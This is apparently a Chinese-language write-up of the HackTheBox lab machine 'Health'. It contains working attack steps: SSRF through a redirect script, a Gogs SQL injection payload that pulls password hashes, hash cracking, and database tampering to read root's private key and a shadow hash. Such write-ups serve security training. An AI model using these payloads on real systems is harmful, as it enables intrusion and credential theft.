基本信息
端口扫描
22,80,和一个被过滤的3000:
1 | nmap -sC -sV 10.10.11.176 |
80
一个使用webhook进行health check的页面:
SSRF
很容易想到SSRF,80去监测3000端口,结果发给我们,但不能直接使用localhost作为Monitored URL:
所以我们可以自己做个重定向,使其重定向到3000端口,获取内容,发现是gogs:
1 | python3 redirect.py http://127.0.0.1:3000/ |
redirect.py
1 | #!/usr/bin/python3 |
Gogs
搜索可以发现sql注入:
- Gogs - ‘users’/‘repos’ ‘?q’ SQL Injection - Multiple webapps Exploit
https://www.exploit-db.com/exploits/35238
后续就是一步步,sql注入获取password和salt:
1 | python3 redirect.py "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--" |
c
crack
根据规则生成hash,进行破解:
1 | echo 'sha256:10000:'$(echo 'sO3XIbeW14' | base64 | cut -c1-14)':'$(echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -p | base64) |
user flag
susanne用户使用破解出来的密码登录ssh,user.txt:
提权信息
运行pspy64,发现定时运行的相关内容:
1 | 2022/08/24 06:45:01 CMD: UID=0 PID=19678 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 |
对应目录下得到mysql账号密码:
1 | cat /var/www/html/.env |
查看HealthChecker.php,可以知道是通过file_get_contents
去获取我们指定的monitoredUrl
内容,而这个信息是在数据库中的
所以我们可以通过在数据库中修改monitoredUrl
,通过webhook获取对应内容来进行任意文件读取
HealthChecker.php
1 |
|
文件读取
创建一个新的webhook
数据库中修改信息,(要在webhook还没执行之前修改):
1 | mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+ |
webhook得到对应文件内容:
root_id_rsa
1 | -----BEGIN RSA PRIVATE KEY----- |
root flag
使用读取到的私钥登录root:
shadow
1 | root:$6$CGK4O3ut$hQTwfTrsIVAL2.wTf.mNzkpipITwSLVjqTw5bN2bnXXQi8QU4lnrlnrBMZ87bzMMQEyuxnlLJIMGhKIFjZBFn/:19130:0:99999:7::: |
参考资料
- Gogs - ‘users’/‘repos’ ‘?q’ SQL Injection - Multiple webapps Exploit
https://www.exploit-db.com/exploits/35238 - Health - HTB [Discussion] | BreachForums
https://breached.to/Thread-Health-HTB-Discussion - Writeup Health HackTheBox
https://gatogamer1155.github.io/hackthebox/health/